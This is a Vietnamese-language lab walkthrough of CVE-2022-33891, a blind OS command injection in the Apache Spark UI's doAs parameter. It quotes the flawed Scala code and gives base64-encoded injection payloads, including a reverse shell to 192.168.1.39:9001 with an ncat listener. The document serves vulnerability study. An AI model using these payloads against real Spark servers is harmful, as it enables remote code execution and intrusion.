CVE-2022-33891
Description
Apache Spark UI cho phép kích hoạt tính năng danh sách điều khiển truy cập (ACL) thông qua tùy chọn cấu hình spark.acls.enable
.
Trong đó tồn tại một bộ lọc xác thực có chức năng kiểm tra xem người dùng có quyền truy cập để xem hoặc sửa đổi ứng dụng hay không. Nếu ACL được bật, một đường dẫn mã trong HttpSecurityFilter
có thể cho phép hacker thực hiện hành vi mạo danh bằng cách cung cấp tên người dùng tùy ý. Với cấu hình spark.acls.enable
true
sẽ kích hoạt lỗi chèn lệnh tùy ý. Đoạn mã này có nhiệm vụ kiểm tra quyền của người dùng bằng cách sử dụng lệnh bash shell kết hợp với lệnh unix id. Đoạn mã tồn tại lỗi:
private def getUnixGroups(username: String): Set[String] = {
val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
// we need to get rid of the trailing "\n" from the result of command execution
Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
Utils.executeAndGetOutput(idPath :: "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet
}
Hacker có thể khai thác bằng cách thiết lập một lệnh bash shell trong tham số ?doAs
http://<spark-ip>:8080/?doAs={OS_command}
Tham số doAs
trong Apache Spark cho phép người dùng chạy một lệnh với tư cách là người dùng khác. Tham số này có thể được sử dụng để cấp cho người dùng các quyền đặc biệt, chẳng hạn như quyền truy cập vào các tài nguyên hệ thống hoặc dữ liệu nhạy cảm.
Các lệnh của được xử lý thông qua tham số ?doAs
và không có gì được phản ánh lại trên trang trong quá trình thực thi lệnh, vì vậy đây là một lỗi Blind OS command injection
.
Goal
Khai thác lỗ hổng CVE-2022-33891 thông qua Apache Spark UI, gửi một reverse shell lên server và RCE.
Exploitation
Bước 1: Vào trong máy ảo docker và chỉnh sửa file conf/spark-defaults.conf
bằng dòng lệnh:
echo "spark.acls.enable true" >> conf/spark-defaults.conf
Bước 2: Đây là giao diện chính của Spark Master.
Bước 3: Ta thử lần lượt từng payload.
echo "d2hvYW1p" | base64 -d | bash
(tương đương với whoami
)
echo "c2xlZXAgMTAK" | base64 -d | bash
(tương đương với sleep 10
)
Nhận thấy các lệnh của được xử lý thông qua tham số ?doAs
và không có gì được phản ánh lại trên trang trong quá trình thực thi lệnh, vì vậy đây là một lỗi Blind OS command injection
.
Bước 4: Tiến hành khai thác bằng PHP reverse shell.
Mở một port trên máy attacker bằng lệnh ncat -nvlp 9001
Tiến hành reverse với dòng lệnh:
echo "c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM5LzkwMDEgMD4mMQ==" | base64 -d | bash
(tương đương với sh -i >& /dev/tcp/192.168.1.39/9001 0>&1
)
Bước 5: Reverse thành công.
Bước 6: Khai thác thành công.
Video demo